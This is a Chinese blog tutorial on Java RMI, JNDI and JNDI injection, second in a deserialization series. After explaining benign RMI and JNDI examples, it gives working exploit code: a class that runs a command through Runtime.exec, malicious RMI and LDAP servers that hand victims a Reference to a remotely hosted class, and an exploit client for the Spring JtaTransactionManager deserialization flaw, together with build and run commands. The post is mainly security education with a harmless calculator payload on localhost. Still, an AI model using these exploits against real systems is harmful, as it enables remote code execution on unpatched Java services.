java反序列化连续剧二

上一篇写了readObject的简单利用，这篇写一下RMI/JNDI这些java特有的特性以及JNDI注入。有一些java反序列化漏洞主要就是利用JNDI注入，反序列化只是个触发点。
RMI(Java Remote Method Invocation)是Java里一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。简单来说这个功能就是调用其他机器上的java程序，比如客户端C要调用服务端S上的java代码，RMI作为注册中心连接两者。打个比方就是C要买S卖的东西，但S需要先在RMI那里注册(类似淘宝开店)，然后C向RMI(淘宝)查询S，就这么简单。
RMI技术是让客户端和服务端在不同jvm上执行java代码。比如客户端只有一个对象接口而没有具体的实现，需要调用服务端的对象。这里有两种传递对象的方法：
1、传递远程对象(对象实现Remote接口)，得到的是一个带着ip地址和内存地址的指针。两个JVM拥有同一个对象。
2、传递序列化对象(对象实现serializable接口)，得到的服务端对象的副本，两个JVM中的对象不同。
来看一个例子，尝试用RMI实现一个买东西问价的功能，首先在client端和server端各定义一个相同的shop类接口，为了远程传递这个接口要实现Remote接口

1
2
3
4
5
6
7
8
9
10
import java.rmi.*;

/**
 * 接口类
 *
 */
public interface shop extends Remote
{
    double getPrice(String description) throws RemoteException;
}

然后在server端实现这个接口,远程对象实现时需要继承UnicastRemoteObject这个类。这个实现类的功能就是用hashmap实现很简单的查询。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class shopImpl extends UnicastRemoteObject implements shop
{
    private Map<String, Double> prices;

    public shopImpl() throws RemoteException
    {
        //物品列表
        prices = new HashMap<>();
        prices.put("sugar", 2.0);
        prices.put("book", 10.0);
    }

    public double getPrice(String description) throws RemoteException
    {
        Double price = prices.get(description);
        return price == null ? 0 : price;
    }
}

然后创建rmi服务并且注册

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static void main(String[] args) throws Exception
    {
        shopImpl centralshop = new shopImpl(); //创建要传递的对象
        LocateRegistry.createRegistry(8001); //创建注册中心
        Naming.rebind("rmi://127.0.0.1:8001/shop", centralshop); //绑定对象
    }
}

接下来就是客户端连接这个rmi中心获取内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import javax.naming.NamingException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class RMIClient {
    public static void main(String[] args) throws NamingException, RemoteException, MalformedURLException, NotBoundException {

        shop centralshop = (shop) Naming.lookup("rmi://127.0.0.1:8001/shop"); //从注册中心获取对象的引用

        String descr = "sugar";
        double price = centralshop.getPrice(descr); //调用服务端的类的方法
        //System.out.println(centralshop.getClass().getName()); //类型为$Proxy0
        System.out.println(descr + ": " + price);
    }
}

调用过程很清晰，就几行，这就是rmi的作用，类似于socket。RMI其实是一个基于序列化的java远程方法调用机制，所以如果服务端存在漏洞组件版本，是可能被利用导致RCE的。但并不是很常见的攻击手段。常用手法是把rmi和jndi注入结合。
接下来介绍下JNDI，JNDI(Java Naming and DirectoryInterface)是一个用来查找资源的技术。通过将名字和对象绑定，可以通过名字检索指定的对象。JNDI一般用来代替jdbc连数据库，它的好处是复用性更高，更加灵活(一般来说灵活就意味着不安全)，比如我们把上面的代码从纯RMI版本改写为JNDI版本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//server
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception
    {
        shopImpl centralshop = new shopImpl();
        LocateRegistry.createRegistry(8001);//定义端口号
        InitialContext ctx = new InitialContext();
        ctx.rebind("rmi://127.0.0.1:8001/shop", centralshop);
    }
}


//client
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext ctx = new InitialContext();
        shop centralshop = (shop) ctx.lookup("rmi://127.0.0.1:8001/shop");
        System.out.println(centralshop.getClass().getName());

        //输入参数  取得结果
        String descr = "sugar";
        double price = centralshop.getPrice(descr);
        System.out.println(descr + ": " + price);
    }
}

虽然看上去没有太大区别，只是使用的从Naming类换成了javax.naming类。但JNDI的灵活性在于，可以切换不同的协议(rmi、ldap、corba)，并且除了直接绑定对象之外，还可以通过References类来绑定一个外部的远程对象。
JNDI注入实际上就是在客户端的InitialContext.lookup(URI)这里发生，如果URL是可控的,攻击者可以控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name；
攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类，这样
目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例，达到RCE的效果。
这也就解释了为什么RCE却不是在RMI服务端发生的，实际上服务端也执行了代码，但只返回了Reference，具体的代码是在客户端执行的。实际上受害者是RMI客户端，攻击者是RMI服务端。
可以看这个图方便理解

某种意义上和ssrf的302跳转有点像
把上面的服务端代码改成jndi注入的版本，需要在jdk<8u121下才能正常运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//恶意class
import java.io.IOException;

public class EvilObject {
    public EvilObject() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}

//恶意RMIserver
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;

public class JNDIReferRMIServer {
    public static void main(String[] args) throws Exception
    {
        Reference reference = new Reference("EvilObject","EvilObject","http://127.0.0.1:8877/");//放一个恶意class。不用url的话把恶意类放在同一目录下，第三个参数随便写，也可以
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        LocateRegistry.createRegistry(8001);//定义端口号
        InitialContext ctx = new InitialContext();
        ctx.rebind("rmi://127.0.0.1:8001/EvilObj",wrapper);
    }
}


//RMIclient
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//如果jdk版本高于8u121需要配置安全策略
        InitialContext ctx = new InitialContext();
        shop centralshop = (shop) ctx.lookup("rmi://127.0.0.1:8001/EvilObj");//假设可以控制url，把绑定的地址修改为恶意服务器
        //类型转换会出错，后面的代码不会执行
        System.out.println(centralshop.getClass().getName());

        //输入参数  取得结果
        String descr = "sugar";
        double price = centralshop.getPrice(descr);
        System.out.println(descr + ": " + price);
    }
}

RMI客户端(被攻击的服务器)运行后弹出计算器。这是RMI客户端绑定地址可控导致的，当然如果是RMI服务端的reference参数可控也是一样的，相当于正常的服务端就变成恶意服务端了。
接下来看下反序列化和JNDI的结合，一个实际的漏洞，Spring的反序列化漏洞，参考https://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection
获取作者的源码后，切到client和server目录下，分别执行

1
2
3
4
5
6
7
#server
mvn install
"C:\Program Files\Java\jdk1.8.0_73\bin\java.exe" -cp "target/*" ExploitableServer 9999

#client
mvn install
java -cp "target/*" ExploitClient 127.0.0.1 9999 127.0.0.1

服务端会执行ExportObject中的代码
简单分析下调用过程，服务端实际上只是用socket获取了一个object，然后调用了它的readObject方法，做了一次反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class ExploitableServer {
	public static void main(String[] args) {
		try {
			ServerSocket serverSocket = new ServerSocket(Integer.parseInt(args[0]));
			System.out.println("Server started on port "+serverSocket.getLocalPort());
			while(true) {
				Socket socket=serverSocket.accept();
				System.out.println("Connection received from "+socket.getInetAddress());				
				ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
				try {
					Object object = objectInputStream.readObject();
					System.out.println("Read object "+object);									
				} catch(Exception e) {
					System.out.println("Exception caught while reading object");									
					e.printStackTrace();
				}				
			}
		} catch(Exception e) {
			e.printStackTrace();
		}
	}
}

然后是客户端，其实和上面的过程差不多，我写了下注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class ExploitClient {
	public static void main(String[] args) {
		try {
			//输入 受害机地址 受害者端口 攻击机地址
			String serverAddress = args[0];
			int port = Integer.parseInt(args[1]);
			String localAddress= args[2];
			//启动一个http服务用来下载恶意类
			System.out.println("Starting HTTP server");
			HttpServer httpServer = HttpServer.create(new InetSocketAddress(80), 0);
			httpServer.createContext("/",new HttpFileHandler());
			httpServer.setExecutor(null);
			httpServer.start();
			//启动一个RMI服务端，绑定恶意类，让受害机连接
			System.out.println("Creating RMI Registry");
            Registry registry = LocateRegistry.createRegistry(1099);
        	Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
			ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);
			//socket连接受害机
			System.out.println("Connecting to server "+serverAddress+":"+port);
			Socket socket=new Socket(serverAddress,port);
			System.out.println("Connected to server");
			String jndiAddress = "rmi://"+localAddress+":1099/Object";
			//生成一个JtaTransactionManager类，这个类的readObject方法存在漏洞
			org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
			object.setUserTransactionName(jndiAddress); //参数可控，导致JNDI注入
			//发送这个类，攻击完成
			System.out.println("Sending object to server...");
			ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
			objectOutputStream.writeObject(object);
			objectOutputStream.flush();
			while(true) {
				Thread.sleep(1000);
			}
		} catch(Exception e) {
			e.printStackTrace();
		}
	}
}

该漏洞发生在 org.springframework.transaction.jta.JtaTransactionManager类中，直接看这个类的readObject方法

1
2
3
4
5
6
7
8
9
10
11
private void readObject(ObjectInputStream ois)
    throws IOException, ClassNotFoundException
  {
    ois.defaultReadObject();

    this.jndiTemplate = new JndiTemplate();

    initUserTransactionAndTransactionManager();
    initTransactionSynchronizationRegistry();
  }
}

再看看initUserTransactionAndTransactionManager这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected void initUserTransactionAndTransactionManager()
    throws TransactionSystemException
  {
    if (this.userTransaction == null)
    {
      if (StringUtils.hasLength(this.userTransactionName)) {
        this.userTransaction = lookupUserTransaction(this.userTransactionName);
        this.userTransactionObtainedFromJndi = true;
      }
      else {
        this.userTransaction = retrieveUserTransaction();
        if ((this.userTransaction == null) && (this.autodetectUserTransaction))
        {
          this.userTransaction = findUserTransaction();
        }
      }
    }
    ......

看到了lookup，参数是this.userTransactionName，也就是我们通过setUserTransactionName传入的恶意类地址，再跟进lookupUserTransaction这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
protected TransactionManager lookupTransactionManager(String transactionManagerName)
   throws TransactionSystemException
 {
   try
   {
     if (this.logger.isDebugEnabled()) {
       this.logger.debug("Retrieving JTA TransactionManager from JNDI location [" + transactionManagerName + "]");
     }
     return (TransactionManager)getJndiTemplate().lookup(transactionManagerName, TransactionManager.class);
   } catch (NamingException ex) {
   }
   throw new TransactionSystemException("JTA TransactionManager is not available at JNDI location [" + transactionManagerName + "]", ex);
 }

这里获取到了一个JndiTemplate，然后调用了它的lookup方法，参数还是我们传入的地址，也就是这里存在JNDI注入。
但是前面的利用都有个前提，就是jdk版本限制在JDK 6u141、7u131、8u121之前，那么对于新一点的jdk，还可以用ldap代替rmi，这种方法可以适用到JDK 11.0.1、8u191、7u201、6u211，看代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
//server
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#EvilObject";
        int port = 1234;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

然后是被攻击的ldap客户端,写法和rmi一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("ldap://localhost:1234/EvilObject");
            String data = "This is LDAP Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

需要准备一个unboundid-ldapsdk.jar

1
2
3
4
5
javac -cp unboundid-ldapsdk.jar LdapServer.java
java -classpath unboundid-ldapsdk.jar;. LdapServer

javac LdapClient.java
java LdapClient

本地版本8u121，运行客户端后后弹计算器
这个服务端的写法其实是固定的，也就没有去研究，可以用现成的工具https://github.com/welk1n/JNDI-Injection-Exploit
至于JDK 6u141、7u131、8u121之后的版本，限制了ldap调用reference，暂时没有通用解决方法，只能从受害机本机上寻找利用链，比如利用CommonsCollections漏洞等。

参考链接
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
https://www.freebuf.com/column/189835.html
https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5
https://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection
https://www.aqniu.com/threat-alert/13382.html

扫一扫，分享到微信

微信分享二维码

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

很惭愧<br><br>只做了一点微小的工作<br>谢谢大家